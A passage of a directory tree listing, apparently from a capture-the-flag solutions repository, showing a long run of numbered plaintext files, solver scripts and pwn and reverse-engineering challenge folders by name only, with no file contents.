│   │   │       │   ├── plaintext_178
│   │   │       │   ├── plaintext_179
│   │   │       │   ├── plaintext_180
│   │   │       │   ├── plaintext_181
│   │   │       │   ├── plaintext_182
│   │   │       │   ├── plaintext_183
│   │   │       │   ├── plaintext_184
│   │   │       │   ├── plaintext_185
│   │   │       │   ├── plaintext_186
│   │   │       │   ├── plaintext_187
│   │   │       │   ├── plaintext_188
│   │   │       │   ├── plaintext_189
│   │   │       │   ├── plaintext_190
│   │   │       │   ├── plaintext_191
│   │   │       │   ├── plaintext_192
│   │   │       │   ├── plaintext_193
│   │   │       │   ├── plaintext_194
│   │   │       │   ├── plaintext_195
│   │   │       │   ├── plaintext_196
│   │   │       │   ├── plaintext_197
│   │   │       │   ├── plaintext_198
│   │   │       │   ├── plaintext_199
│   │   │       │   ├── plaintext_200
│   │   │       │   ├── plaintext_201
│   │   │       │   ├── plaintext_202
│   │   │       │   ├── plaintext_203
│   │   │       │   ├── plaintext_204
│   │   │       │   ├── plaintext_205
│   │   │       │   ├── plaintext_206
│   │   │       │   ├── plaintext_207
│   │   │       │   ├── plaintext_208
│   │   │       │   ├── plaintext_209
│   │   │       │   ├── plaintext_210
│   │   │       │   ├── plaintext_211
│   │   │       │   ├── plaintext_212
│   │   │       │   ├── plaintext_213
│   │   │       │   ├── plaintext_214
│   │   │       │   ├── plaintext_215
│   │   │       │   ├── plaintext_216
│   │   │       │   ├── plaintext_217
│   │   │       │   ├── plaintext_218
│   │   │       │   ├── plaintext_219
│   │   │       │   ├── plaintext_220
│   │   │       │   ├── plaintext_221
│   │   │       │   ├── plaintext_222
│   │   │       │   ├── plaintext_223
│   │   │       │   ├── plaintext_224
│   │   │       │   ├── plaintext_225
│   │   │       │   ├── plaintext_226
│   │   │       │   ├── plaintext_227
│   │   │       │   ├── plaintext_228
│   │   │       │   ├── plaintext_229
│   │   │       │   ├── plaintext_230
│   │   │       │   ├── plaintext_231
│   │   │       │   ├── plaintext_232
│   │   │       │   ├── plaintext_233
│   │   │       │   ├── plaintext_234
│   │   │       │   ├── plaintext_235
│   │   │       │   ├── plaintext_236
│   │   │       │   ├── plaintext_237
│   │   │       │   ├── plaintext_238
│   │   │       │   ├── plaintext_239
│   │   │       │   ├── plaintext_240
│   │   │       │   ├── plaintext_241
│   │   │       │   ├── plaintext_242
│   │   │       │   ├── plaintext_243
│   │   │       │   ├── plaintext_244
│   │   │       │   ├── plaintext_245
│   │   │       │   ├── plaintext_246
│   │   │       │   ├── plaintext_247
│   │   │       │   ├── plaintext_248
│   │   │       │   ├── plaintext_249
│   │   │       │   ├── plaintext_250
│   │   │       │   ├── plaintext_251
│   │   │       │   ├── plaintext_252
│   │   │       │   ├── plaintext_253
│   │   │       │   ├── plaintext_254
│   │   │       │   ├── plaintext_255
│   │   │       │   ├── plaintext_256
│   │   │       │   ├── plaintext_257
│   │   │       │   ├── plaintext_258
│   │   │       │   ├── plaintext_259
│   │   │       │   ├── plaintext_260
│   │   │       │   ├── plaintext_261
│   │   │       │   ├── plaintext_262
│   │   │       │   ├── plaintext_263
│   │   │       │   ├── plaintext_264
│   │   │       │   ├── plaintext_265
│   │   │       │   ├── plaintext_266
│   │   │       │   ├── plaintext_267
│   │   │       │   ├── plaintext_268
│   │   │       │   ├── plaintext_269
│   │   │       │   ├── plaintext_270
│   │   │       │   ├── plaintext_271
│   │   │       │   ├── plaintext_272
│   │   │       │   ├── plaintext_273
│   │   │       │   ├── plaintext_274
│   │   │       │   ├── plaintext_275
│   │   │       │   ├── plaintext_276
│   │   │       │   ├── plaintext_277
│   │   │       │   ├── plaintext_278
│   │   │       │   ├── plaintext_279
│   │   │       │   ├── plaintext_280
│   │   │       │   ├── plaintext_281
│   │   │       │   ├── plaintext_282
│   │   │       │   ├── plaintext_283
│   │   │       │   ├── plaintext_284
│   │   │       │   ├── plaintext_285
│   │   │       │   ├── plaintext_286
│   │   │       │   ├── plaintext_287
│   │   │       │   ├── plaintext_288
│   │   │       │   ├── plaintext_289
│   │   │       │   ├── plaintext_290
│   │   │       │   ├── plaintext_291
│   │   │       │   ├── plaintext_292
│   │   │       │   ├── plaintext_293
│   │   │       │   ├── plaintext_294
│   │   │       │   ├── plaintext_295
│   │   │       │   ├── plaintext_296
│   │   │       │   ├── plaintext_297
│   │   │       │   ├── plaintext_298
│   │   │       │   ├── plaintext_299
│   │   │       │   ├── plaintext_300
│   │   │       │   ├── plaintext_301
│   │   │       │   ├── plaintext_302
│   │   │       │   ├── plaintext_303
│   │   │       │   ├── plaintext_304
│   │   │       │   ├── plaintext_305
│   │   │       │   ├── plaintext_306
│   │   │       │   ├── plaintext_307
│   │   │       │   ├── plaintext_308
│   │   │       │   ├── plaintext_309
│   │   │       │   ├── plaintext_310
│   │   │       │   ├── plaintext_311
│   │   │       │   ├── plaintext_312
│   │   │       │   ├── plaintext_313
│   │   │       │   ├── plaintext_314
│   │   │       │   ├── plaintext_315
│   │   │       │   ├── plaintext_316
│   │   │       │   ├── plaintext_317
│   │   │       │   ├── plaintext_318
│   │   │       │   ├── plaintext_319
│   │   │       │   ├── plaintext_320
│   │   │       │   ├── plaintext_321
│   │   │       │   ├── plaintext_322
│   │   │       │   ├── plaintext_323
│   │   │       │   ├── plaintext_324
│   │   │       │   ├── plaintext_325
│   │   │       │   ├── plaintext_326
│   │   │       │   ├── plaintext_327
│   │   │       │   ├── plaintext_328
│   │   │       │   ├── plaintext_329
│   │   │       │   ├── plaintext_330
│   │   │       │   ├── plaintext_331
│   │   │       │   ├── plaintext_332
│   │   │       │   ├── plaintext_333
│   │   │       │   ├── plaintext_334
│   │   │       │   ├── plaintext_335
│   │   │       │   ├── plaintext_336
│   │   │       │   ├── plaintext_337
│   │   │       │   ├── plaintext_338
│   │   │       │   ├── plaintext_339
│   │   │       │   ├── plaintext_340
│   │   │       │   ├── plaintext_341
│   │   │       │   ├── plaintext_342
│   │   │       │   ├── plaintext_343
│   │   │       │   ├── plaintext_344
│   │   │       │   ├── plaintext_345
│   │   │       │   ├── plaintext_346
│   │   │       │   ├── plaintext_347
│   │   │       │   ├── plaintext_348
│   │   │       │   ├── plaintext_349
│   │   │       │   ├── plaintext_350
│   │   │       │   ├── plaintext_351
│   │   │       │   ├── plaintext_352
│   │   │       │   ├── plaintext_353
│   │   │       │   ├── plaintext_354
│   │   │       │   ├── plaintext_355
│   │   │       │   ├── plaintext_356
│   │   │       │   ├── plaintext_357
│   │   │       │   ├── plaintext_358
│   │   │       │   ├── plaintext_359
│   │   │       │   ├── plaintext_360
│   │   │       │   ├── plaintext_361
│   │   │       │   ├── plaintext_362
│   │   │       │   ├── plaintext_363
│   │   │       │   ├── plaintext_364
│   │   │       │   ├── plaintext_365
│   │   │       │   ├── plaintext_366
│   │   │       │   ├── plaintext_367
│   │   │       │   ├── plaintext_368
│   │   │       │   ├── plaintext_369
│   │   │       │   ├── plaintext_370
│   │   │       │   ├── plaintext_371
│   │   │       │   ├── plaintext_372
│   │   │       │   ├── plaintext_373
│   │   │       │   ├── plaintext_374
│   │   │       │   ├── plaintext_375
│   │   │       │   ├── plaintext_376
│   │   │       │   ├── plaintext_377
│   │   │       │   ├── plaintext_378
│   │   │       │   ├── plaintext_379
│   │   │       │   ├── plaintext_380
│   │   │       │   ├── plaintext_381
│   │   │       │   ├── plaintext_382
│   │   │       │   ├── plaintext_383
│   │   │       │   ├── plaintext_384
│   │   │       │   ├── plaintext_385
│   │   │       │   ├── plaintext_386
│   │   │       │   ├── plaintext_387
│   │   │       │   ├── plaintext_388
│   │   │       │   ├── plaintext_389
│   │   │       │   ├── plaintext_390
│   │   │       │   ├── plaintext_391
│   │   │       │   ├── plaintext_392
│   │   │       │   ├── plaintext_393
│   │   │       │   ├── plaintext_394
│   │   │       │   ├── plaintext_395
│   │   │       │   ├── plaintext_396
│   │   │       │   ├── plaintext_397
│   │   │       │   ├── plaintext_398
│   │   │       │   ├── plaintext_399
│   │   │       │   ├── plaintext_400
│   │   │       │   ├── plaintext_401
│   │   │       │   ├── plaintext_402
│   │   │       │   ├── plaintext_403
│   │   │       │   ├── plaintext_404
│   │   │       │   ├── plaintext_405
│   │   │       │   ├── plaintext_406
│   │   │       │   ├── plaintext_407
│   │   │       │   ├── plaintext_408
│   │   │       │   ├── plaintext_409
│   │   │       │   ├── plaintext_410
│   │   │       │   ├── plaintext_411
│   │   │       │   ├── plaintext_412
│   │   │       │   ├── plaintext_413
│   │   │       │   ├── plaintext_414
│   │   │       │   ├── plaintext_415
│   │   │       │   ├── plaintext_416
│   │   │       │   ├── plaintext_417
│   │   │       │   ├── plaintext_418
│   │   │       │   ├── plaintext_419
│   │   │       │   ├── plaintext_420
│   │   │       │   ├── plaintext_421
│   │   │       │   ├── plaintext_422
│   │   │       │   ├── plaintext_423
│   │   │       │   ├── plaintext_424
│   │   │       │   ├── plaintext_425
│   │   │       │   ├── plaintext_426
│   │   │       │   ├── plaintext_427
│   │   │       │   ├── plaintext_428
│   │   │       │   ├── plaintext_429
│   │   │       │   ├── plaintext_430
│   │   │       │   ├── plaintext_431
│   │   │       │   ├── plaintext_432
│   │   │       │   ├── plaintext_433
│   │   │       │   ├── plaintext_434
│   │   │       │   ├── plaintext_435
│   │   │       │   ├── plaintext_436
│   │   │       │   ├── plaintext_437
│   │   │       │   ├── plaintext_438
│   │   │       │   ├── plaintext_439
│   │   │       │   ├── plaintext_440
│   │   │       │   ├── plaintext_441
│   │   │       │   ├── plaintext_442
│   │   │       │   ├── plaintext_443
│   │   │       │   ├── plaintext_444
│   │   │       │   ├── plaintext_445
│   │   │       │   ├── plaintext_446
│   │   │       │   ├── plaintext_447
│   │   │       │   ├── plaintext_448
│   │   │       │   ├── plaintext_449
│   │   │       │   ├── plaintext_450
│   │   │       │   ├── plaintext_451
│   │   │       │   ├── plaintext_452
│   │   │       │   ├── plaintext_453
│   │   │       │   ├── plaintext_454
│   │   │       │   ├── plaintext_455
│   │   │       │   ├── plaintext_456
│   │   │       │   ├── plaintext_457
│   │   │       │   ├── plaintext_458
│   │   │       │   ├── plaintext_459
│   │   │       │   ├── plaintext_460
│   │   │       │   ├── plaintext_461
│   │   │       │   ├── plaintext_462
│   │   │       │   ├── plaintext_463
│   │   │       │   ├── plaintext_464
│   │   │       │   ├── plaintext_465
│   │   │       │   ├── plaintext_466
│   │   │       │   ├── plaintext_467
│   │   │       │   ├── plaintext_468
│   │   │       │   ├── plaintext_469
│   │   │       │   ├── plaintext_470
│   │   │       │   ├── plaintext_471
│   │   │       │   ├── plaintext_472
│   │   │       │   ├── plaintext_473
│   │   │       │   ├── plaintext_474
│   │   │       │   ├── plaintext_475
│   │   │       │   ├── plaintext_476
│   │   │       │   ├── plaintext_477
│   │   │       │   ├── plaintext_478
│   │   │       │   ├── plaintext_479
│   │   │       │   ├── plaintext_480
│   │   │       │   ├── plaintext_481
│   │   │       │   ├── plaintext_482
│   │   │       │   ├── plaintext_483
│   │   │       │   ├── plaintext_484
│   │   │       │   ├── plaintext_485
│   │   │       │   ├── plaintext_486
│   │   │       │   ├── plaintext_487
│   │   │       │   ├── plaintext_488
│   │   │       │   ├── plaintext_489
│   │   │       │   ├── plaintext_490
│   │   │       │   ├── plaintext_491
│   │   │       │   ├── plaintext_492
│   │   │       │   ├── plaintext_493
│   │   │       │   ├── plaintext_494
│   │   │       │   ├── plaintext_495
│   │   │       │   ├── plaintext_496
│   │   │       │   ├── plaintext_497
│   │   │       │   ├── plaintext_498
│   │   │       │   ├── plaintext_499
│   │   │       │   ├── plaintext_500
│   │   │       │   ├── plaintext_501
│   │   │       │   ├── plaintext_502
│   │   │       │   ├── plaintext_503
│   │   │       │   ├── plaintext_504
│   │   │       │   ├── plaintext_505
│   │   │       │   ├── plaintext_506
│   │   │       │   ├── plaintext_507
│   │   │       │   ├── plaintext_508
│   │   │       │   ├── plaintext_509
│   │   │       │   ├── plaintext_510
│   │   │       │   ├── plaintext_511
│   │   │       │   ├── plaintext_512
│   │   │       │   ├── plaintext_513
│   │   │       │   ├── plaintext_514
│   │   │       │   ├── plaintext_515
│   │   │       │   ├── plaintext_516
│   │   │       │   ├── plaintext_517
│   │   │       │   ├── plaintext_518
│   │   │       │   ├── plaintext_519
│   │   │       │   ├── plaintext_520
│   │   │       │   ├── plaintext_521
│   │   │       │   ├── plaintext_522
│   │   │       │   ├── plaintext_523
│   │   │       │   ├── plaintext_524
│   │   │       │   ├── plaintext_525
│   │   │       │   ├── plaintext_526
│   │   │       │   ├── plaintext_527
│   │   │       │   ├── plaintext_528
│   │   │       │   ├── plaintext_529
│   │   │       │   ├── plaintext_530
│   │   │       │   ├── plaintext_531
│   │   │       │   ├── plaintext_532
│   │   │       │   ├── plaintext_533
│   │   │       │   ├── plaintext_534
│   │   │       │   ├── plaintext_535
│   │   │       │   ├── plaintext_536
│   │   │       │   ├── plaintext_537
│   │   │       │   ├── plaintext_538
│   │   │       │   ├── plaintext_539
│   │   │       │   ├── plaintext_540
│   │   │       │   ├── plaintext_541
│   │   │       │   ├── plaintext_542
│   │   │       │   ├── plaintext_543
│   │   │       │   ├── plaintext_544
│   │   │       │   ├── plaintext_545
│   │   │       │   ├── plaintext_546
│   │   │       │   ├── plaintext_547
│   │   │       │   ├── plaintext_548
│   │   │       │   ├── plaintext_549
│   │   │       │   ├── plaintext_550
│   │   │       │   ├── plaintext_551
│   │   │       │   ├── plaintext_552
│   │   │       │   ├── plaintext_553
│   │   │       │   ├── plaintext_554
│   │   │       │   ├── plaintext_555
│   │   │       │   ├── plaintext_556
│   │   │       │   ├── plaintext_557
│   │   │       │   ├── plaintext_558
│   │   │       │   ├── plaintext_559
│   │   │       │   ├── plaintext_560
│   │   │       │   ├── plaintext_561
│   │   │       │   ├── plaintext_562
│   │   │       │   ├── plaintext_563
│   │   │       │   ├── plaintext_564
│   │   │       │   ├── plaintext_565
│   │   │       │   ├── plaintext_566
│   │   │       │   ├── plaintext_567
│   │   │       │   ├── plaintext_568
│   │   │       │   ├── plaintext_569
│   │   │       │   ├── plaintext_570
│   │   │       │   ├── plaintext_571
│   │   │       │   ├── plaintext_572
│   │   │       │   ├── plaintext_573
│   │   │       │   ├── plaintext_574
│   │   │       │   ├── plaintext_575
│   │   │       │   ├── plaintext_576
│   │   │       │   ├── plaintext_577
│   │   │       │   ├── plaintext_578
│   │   │       │   ├── plaintext_579
│   │   │       │   ├── plaintext_580
│   │   │       │   ├── plaintext_581
│   │   │       │   ├── plaintext_582
│   │   │       │   ├── plaintext_583
│   │   │       │   ├── plaintext_584
│   │   │       │   ├── plaintext_585
│   │   │       │   ├── plaintext_586
│   │   │       │   ├── plaintext_587
│   │   │       │   ├── plaintext_588
│   │   │       │   ├── plaintext_589
│   │   │       │   ├── plaintext_590
│   │   │       │   ├── plaintext_591
│   │   │       │   ├── plaintext_592
│   │   │       │   ├── plaintext_593
│   │   │       │   ├── plaintext_594
│   │   │       │   ├── plaintext_595
│   │   │       │   ├── plaintext_596
│   │   │       │   ├── plaintext_597
│   │   │       │   ├── plaintext_598
│   │   │       │   ├── plaintext_599
│   │   │       │   ├── plaintext_600
│   │   │       │   ├── plaintext_601
│   │   │       │   ├── plaintext_602
│   │   │       │   ├── plaintext_603
│   │   │       │   ├── plaintext_604
│   │   │       │   ├── plaintext_605
│   │   │       │   ├── plaintext_606
│   │   │       │   ├── plaintext_607
│   │   │       │   ├── plaintext_608
│   │   │       │   ├── plaintext_609
│   │   │       │   ├── plaintext_610
│   │   │       │   ├── plaintext_611
│   │   │       │   ├── plaintext_612
│   │   │       │   ├── plaintext_613
│   │   │       │   ├── plaintext_614
│   │   │       │   ├── plaintext_615
│   │   │       │   ├── plaintext_616
│   │   │       │   ├── plaintext_617
│   │   │       │   ├── plaintext_618
│   │   │       │   ├── plaintext_619
│   │   │       │   ├── plaintext_620
│   │   │       │   ├── plaintext_621
│   │   │       │   ├── plaintext_622
│   │   │       │   ├── plaintext_623
│   │   │       │   ├── plaintext_624
│   │   │       │   ├── plaintext_625
│   │   │       │   ├── plaintext_626
│   │   │       │   ├── plaintext_627
│   │   │       │   ├── plaintext_628
│   │   │       │   ├── plaintext_629
│   │   │       │   ├── plaintext_630
│   │   │       │   ├── plaintext_631
│   │   │       │   ├── plaintext_632
│   │   │       │   ├── plaintext_633
│   │   │       │   ├── plaintext_634
│   │   │       │   ├── plaintext_635
│   │   │       │   ├── plaintext_636
│   │   │       │   ├── plaintext_637
│   │   │       │   ├── plaintext_638
│   │   │       │   ├── plaintext_639
│   │   │       │   ├── plaintext_640
│   │   │       │   ├── plaintext_641
│   │   │       │   ├── plaintext_642
│   │   │       │   ├── plaintext_643
│   │   │       │   ├── plaintext_644
│   │   │       │   ├── plaintext_645
│   │   │       │   ├── plaintext_646
│   │   │       │   ├── plaintext_647
│   │   │       │   ├── plaintext_648
│   │   │       │   ├── plaintext_649
│   │   │       │   ├── plaintext_650
│   │   │       │   ├── plaintext_651
│   │   │       │   ├── plaintext_652
│   │   │       │   ├── plaintext_653
│   │   │       │   ├── plaintext_654
│   │   │       │   ├── plaintext_655
│   │   │       │   ├── plaintext_656
│   │   │       │   ├── plaintext_657
│   │   │       │   ├── plaintext_658
│   │   │       │   ├── plaintext_659
│   │   │       │   ├── plaintext_660
│   │   │       │   ├── plaintext_661
│   │   │       │   ├── plaintext_662
│   │   │       │   ├── plaintext_663
│   │   │       │   ├── plaintext_664
│   │   │       │   ├── plaintext_665
│   │   │       │   ├── plaintext_666
│   │   │       │   ├── plaintext_667
│   │   │       │   ├── plaintext_668
│   │   │       │   ├── plaintext_669
│   │   │       │   ├── plaintext_670
│   │   │       │   ├── plaintext_671
│   │   │       │   ├── plaintext_672
│   │   │       │   ├── plaintext_673
│   │   │       │   ├── plaintext_674
│   │   │       │   ├── plaintext_675
│   │   │       │   ├── plaintext_676
│   │   │       │   ├── plaintext_677
│   │   │       │   ├── plaintext_678
│   │   │       │   ├── plaintext_679
│   │   │       │   ├── plaintext_680
│   │   │       │   ├── plaintext_681
│   │   │       │   ├── plaintext_682
│   │   │       │   ├── plaintext_683
│   │   │       │   ├── plaintext_684
│   │   │       │   ├── plaintext_685
│   │   │       │   ├── plaintext_686
│   │   │       │   ├── plaintext_687
│   │   │       │   ├── plaintext_688
│   │   │       │   ├── plaintext_689
│   │   │       │   ├── plaintext_690
│   │   │       │   ├── plaintext_691
│   │   │       │   ├── plaintext_692
│   │   │       │   ├── plaintext_693
│   │   │       │   ├── plaintext_694
│   │   │       │   ├── plaintext_695
│   │   │       │   ├── plaintext_696
│   │   │       │   ├── plaintext_697
│   │   │       │   ├── plaintext_698
│   │   │       │   ├── plaintext_699
│   │   │       │   ├── plaintext_700
│   │   │       │   ├── plaintext_701
│   │   │       │   ├── plaintext_702
│   │   │       │   ├── plaintext_703
│   │   │       │   ├── plaintext_704
│   │   │       │   ├── plaintext_705
│   │   │       │   ├── plaintext_706
│   │   │       │   ├── plaintext_707
│   │   │       │   ├── plaintext_708
│   │   │       │   ├── plaintext_709
│   │   │       │   ├── plaintext_710
│   │   │       │   ├── plaintext_711
│   │   │       │   ├── plaintext_712
│   │   │       │   ├── plaintext_713
│   │   │       │   ├── plaintext_714
│   │   │       │   ├── plaintext_715
│   │   │       │   ├── plaintext_716
│   │   │       │   ├── plaintext_717
│   │   │       │   ├── plaintext_718
│   │   │       │   ├── plaintext_719
│   │   │       │   ├── plaintext_720
│   │   │       │   ├── plaintext_721
│   │   │       │   ├── plaintext_722
│   │   │       │   ├── plaintext_723
│   │   │       │   ├── plaintext_724
│   │   │       │   ├── plaintext_725
│   │   │       │   ├── plaintext_726
│   │   │       │   ├── plaintext_727
│   │   │       │   ├── plaintext_728
│   │   │       │   ├── plaintext_729
│   │   │       │   ├── plaintext_730
│   │   │       │   ├── plaintext_731
│   │   │       │   ├── plaintext_732
│   │   │       │   ├── plaintext_733
│   │   │       │   ├── plaintext_734
│   │   │       │   ├── plaintext_735
│   │   │       │   ├── plaintext_736
│   │   │       │   ├── plaintext_737
│   │   │       │   ├── plaintext_738
│   │   │       │   ├── plaintext_739
│   │   │       │   ├── plaintext_740
│   │   │       │   ├── plaintext_741
│   │   │       │   ├── plaintext_742
│   │   │       │   ├── plaintext_743
│   │   │       │   ├── plaintext_744
│   │   │       │   ├── plaintext_745
│   │   │       │   ├── plaintext_746
│   │   │       │   ├── plaintext_747
│   │   │       │   ├── plaintext_748
│   │   │       │   ├── plaintext_749
│   │   │       │   ├── plaintext_750
│   │   │       │   ├── plaintext_751
│   │   │       │   ├── plaintext_752
│   │   │       │   ├── plaintext_753
│   │   │       │   ├── plaintext_754
│   │   │       │   ├── plaintext_755
│   │   │       │   ├── plaintext_756
│   │   │       │   ├── plaintext_757
│   │   │       │   ├── plaintext_758
│   │   │       │   ├── plaintext_759
│   │   │       │   ├── plaintext_760
│   │   │       │   ├── plaintext_761
│   │   │       │   ├── plaintext_762
│   │   │       │   ├── plaintext_763
│   │   │       │   ├── plaintext_764
│   │   │       │   ├── plaintext_765
│   │   │       │   ├── plaintext_766
│   │   │       │   ├── plaintext_767
│   │   │       │   ├── plaintext_768
│   │   │       │   ├── plaintext_769
│   │   │       │   ├── plaintext_770
│   │   │       │   ├── plaintext_771
│   │   │       │   ├── plaintext_772
│   │   │       │   ├── plaintext_773
│   │   │       │   ├── plaintext_774
│   │   │       │   ├── plaintext_775
│   │   │       │   ├── plaintext_776
│   │   │       │   ├── plaintext_777
│   │   │       │   ├── plaintext_778
│   │   │       │   ├── plaintext_779
│   │   │       │   ├── plaintext_780
│   │   │       │   ├── plaintext_781
│   │   │       │   ├── plaintext_782
│   │   │       │   ├── plaintext_783
│   │   │       │   ├── plaintext_784
│   │   │       │   ├── plaintext_785
│   │   │       │   ├── plaintext_786
│   │   │       │   ├── plaintext_787
│   │   │       │   ├── plaintext_788
│   │   │       │   ├── plaintext_789
│   │   │       │   ├── plaintext_790
│   │   │       │   ├── plaintext_791
│   │   │       │   ├── plaintext_792
│   │   │       │   ├── plaintext_793
│   │   │       │   ├── plaintext_794
│   │   │       │   ├── plaintext_795
│   │   │       │   ├── plaintext_796
│   │   │       │   ├── plaintext_797
│   │   │       │   ├── plaintext_798
│   │   │       │   ├── plaintext_799
│   │   │       │   ├── plaintext_800
│   │   │       │   ├── plaintext_801
│   │   │       │   ├── plaintext_802
│   │   │       │   ├── plaintext_803
│   │   │       │   ├── plaintext_804
│   │   │       │   ├── plaintext_805
│   │   │       │   ├── plaintext_806
│   │   │       │   ├── plaintext_807
│   │   │       │   ├── plaintext_808
│   │   │       │   ├── plaintext_809
│   │   │       │   ├── plaintext_810
│   │   │       │   ├── plaintext_811
│   │   │       │   ├── plaintext_812
│   │   │       │   ├── plaintext_813
│   │   │       │   ├── plaintext_814
│   │   │       │   ├── plaintext_815
│   │   │       │   ├── plaintext_816
│   │   │       │   ├── plaintext_817
│   │   │       │   ├── plaintext_818
│   │   │       │   ├── plaintext_819
│   │   │       │   ├── plaintext_820
│   │   │       │   ├── plaintext_821
│   │   │       │   ├── plaintext_822
│   │   │       │   ├── plaintext_823
│   │   │       │   ├── plaintext_824
│   │   │       │   ├── plaintext_825
│   │   │       │   ├── plaintext_826
│   │   │       │   ├── plaintext_827
│   │   │       │   ├── plaintext_828
│   │   │       │   ├── plaintext_829
│   │   │       │   ├── plaintext_830
│   │   │       │   ├── plaintext_831
│   │   │       │   ├── plaintext_832
│   │   │       │   ├── plaintext_833
│   │   │       │   ├── plaintext_834
│   │   │       │   ├── plaintext_835
│   │   │       │   ├── plaintext_836
│   │   │       │   ├── plaintext_837
│   │   │       │   ├── plaintext_838
│   │   │       │   ├── plaintext_839
│   │   │       │   ├── plaintext_840
│   │   │       │   ├── plaintext_841
│   │   │       │   ├── plaintext_842
│   │   │       │   ├── plaintext_843
│   │   │       │   ├── plaintext_844
│   │   │       │   ├── plaintext_845
│   │   │       │   ├── plaintext_846
│   │   │       │   ├── plaintext_847
│   │   │       │   ├── plaintext_848
│   │   │       │   ├── plaintext_849
│   │   │       │   ├── plaintext_850
│   │   │       │   ├── plaintext_851
│   │   │       │   ├── plaintext_852
│   │   │       │   ├── plaintext_853
│   │   │       │   ├── plaintext_854
│   │   │       │   ├── plaintext_855
│   │   │       │   ├── plaintext_856
│   │   │       │   ├── plaintext_857
│   │   │       │   ├── plaintext_858
│   │   │       │   ├── plaintext_859
│   │   │       │   ├── plaintext_860
│   │   │       │   ├── plaintext_861
│   │   │       │   ├── plaintext_862
│   │   │       │   ├── plaintext_863
│   │   │       │   ├── plaintext_864
│   │   │       │   ├── plaintext_865
│   │   │       │   ├── plaintext_866
│   │   │       │   ├── plaintext_867
│   │   │       │   ├── plaintext_868
│   │   │       │   ├── plaintext_869
│   │   │       │   ├── plaintext_870
│   │   │       │   ├── plaintext_871
│   │   │       │   ├── plaintext_872
│   │   │       │   ├── plaintext_873
│   │   │       │   ├── plaintext_874
│   │   │       │   ├── plaintext_875
│   │   │       │   ├── plaintext_876
│   │   │       │   ├── plaintext_877
│   │   │       │   ├── plaintext_878
│   │   │       │   ├── plaintext_879
│   │   │       │   ├── plaintext_880
│   │   │       │   ├── plaintext_881
│   │   │       │   ├── plaintext_882
│   │   │       │   ├── plaintext_883
│   │   │       │   ├── plaintext_884
│   │   │       │   ├── plaintext_885
│   │   │       │   ├── plaintext_886
│   │   │       │   ├── plaintext_887
│   │   │       │   ├── plaintext_888
│   │   │       │   ├── plaintext_889
│   │   │       │   ├── plaintext_890
│   │   │       │   ├── plaintext_891
│   │   │       │   ├── plaintext_892
│   │   │       │   ├── plaintext_893
│   │   │       │   ├── plaintext_894
│   │   │       │   ├── plaintext_895
│   │   │       │   ├── plaintext_896
│   │   │       │   ├── plaintext_897
│   │   │       │   ├── plaintext_898
│   │   │       │   ├── plaintext_899
│   │   │       │   ├── plaintext_900
│   │   │       │   ├── plaintext_901
│   │   │       │   ├── plaintext_902
│   │   │       │   ├── plaintext_903
│   │   │       │   ├── plaintext_904
│   │   │       │   ├── plaintext_905
│   │   │       │   ├── plaintext_906
│   │   │       │   ├── plaintext_907
│   │   │       │   ├── plaintext_908
│   │   │       │   ├── plaintext_909
│   │   │       │   ├── plaintext_910
│   │   │       │   ├── plaintext_911
│   │   │       │   ├── plaintext_912
│   │   │       │   ├── plaintext_913
│   │   │       │   ├── plaintext_914
│   │   │       │   ├── plaintext_915
│   │   │       │   ├── plaintext_916
│   │   │       │   ├── plaintext_917
│   │   │       │   ├── plaintext_918
│   │   │       │   ├── plaintext_919
│   │   │       │   ├── plaintext_920
│   │   │       │   ├── plaintext_921
│   │   │       │   ├── plaintext_922
│   │   │       │   ├── plaintext_923
│   │   │       │   ├── plaintext_924
│   │   │       │   ├── plaintext_925
│   │   │       │   ├── plaintext_926
│   │   │       │   ├── plaintext_927
│   │   │       │   ├── plaintext_928
│   │   │       │   ├── plaintext_929
│   │   │       │   ├── plaintext_930
│   │   │       │   ├── plaintext_931
│   │   │       │   ├── plaintext_932
│   │   │       │   ├── plaintext_933
│   │   │       │   ├── plaintext_934
│   │   │       │   ├── plaintext_935
│   │   │       │   ├── plaintext_936
│   │   │       │   ├── plaintext_937
│   │   │       │   ├── plaintext_938
│   │   │       │   ├── plaintext_939
│   │   │       │   ├── plaintext_940
│   │   │       │   ├── plaintext_941
│   │   │       │   ├── plaintext_942
│   │   │       │   ├── plaintext_943
│   │   │       │   ├── plaintext_944
│   │   │       │   ├── plaintext_945
│   │   │       │   ├── plaintext_946
│   │   │       │   ├── plaintext_947
│   │   │       │   ├── plaintext_948
│   │   │       │   ├── plaintext_949
│   │   │       │   ├── plaintext_950
│   │   │       │   ├── plaintext_951
│   │   │       │   ├── plaintext_952
│   │   │       │   ├── plaintext_953
│   │   │       │   ├── plaintext_954
│   │   │       │   ├── plaintext_955
│   │   │       │   ├── plaintext_956
│   │   │       │   ├── plaintext_957
│   │   │       │   ├── plaintext_958
│   │   │       │   ├── plaintext_959
│   │   │       │   ├── plaintext_960
│   │   │       │   ├── plaintext_961
│   │   │       │   ├── plaintext_962
│   │   │       │   ├── plaintext_963
│   │   │       │   ├── plaintext_964
│   │   │       │   ├── plaintext_965
│   │   │       │   ├── plaintext_966
│   │   │       │   ├── plaintext_967
│   │   │       │   ├── plaintext_968
│   │   │       │   ├── plaintext_969
│   │   │       │   ├── plaintext_970
│   │   │       │   ├── plaintext_971
│   │   │       │   ├── plaintext_972
│   │   │       │   ├── plaintext_973
│   │   │       │   ├── plaintext_974
│   │   │       │   ├── plaintext_975
│   │   │       │   ├── plaintext_976
│   │   │       │   ├── plaintext_977
│   │   │       │   ├── plaintext_978
│   │   │       │   ├── plaintext_979
│   │   │       │   ├── plaintext_980
│   │   │       │   ├── plaintext_981
│   │   │       │   ├── plaintext_982
│   │   │       │   ├── plaintext_983
│   │   │       │   ├── plaintext_984
│   │   │       │   ├── plaintext_985
│   │   │       │   ├── plaintext_986
│   │   │       │   ├── plaintext_987
│   │   │       │   ├── plaintext_988
│   │   │       │   ├── plaintext_989
│   │   │       │   ├── plaintext_990
│   │   │       │   ├── plaintext_991
│   │   │       │   ├── plaintext_992
│   │   │       │   ├── plaintext_993
│   │   │       │   ├── plaintext_994
│   │   │       │   ├── plaintext_995
│   │   │       │   ├── plaintext_996
│   │   │       │   ├── plaintext_997
│   │   │       │   ├── plaintext_998
│   │   │       │   └── plaintext_999
│   │   │       ├── get_flag.py
│   │   │       └── solve.sage
│   │   ├── pwn/
│   │   │   ├── Junior-Stringmaster2/
│   │   │   │   ├── solve.py
│   │   │   │   ├── stringmaster2
│   │   │   │   └── stringmaster2.cpp
│   │   │   └── collection/
│   │   │       └── exp.py
│   │   └── re/
│   │       └── box_of_blink/
│   │           ├── blink2.csv
│   │           └── exp.py
│   ├── bctf-2018/
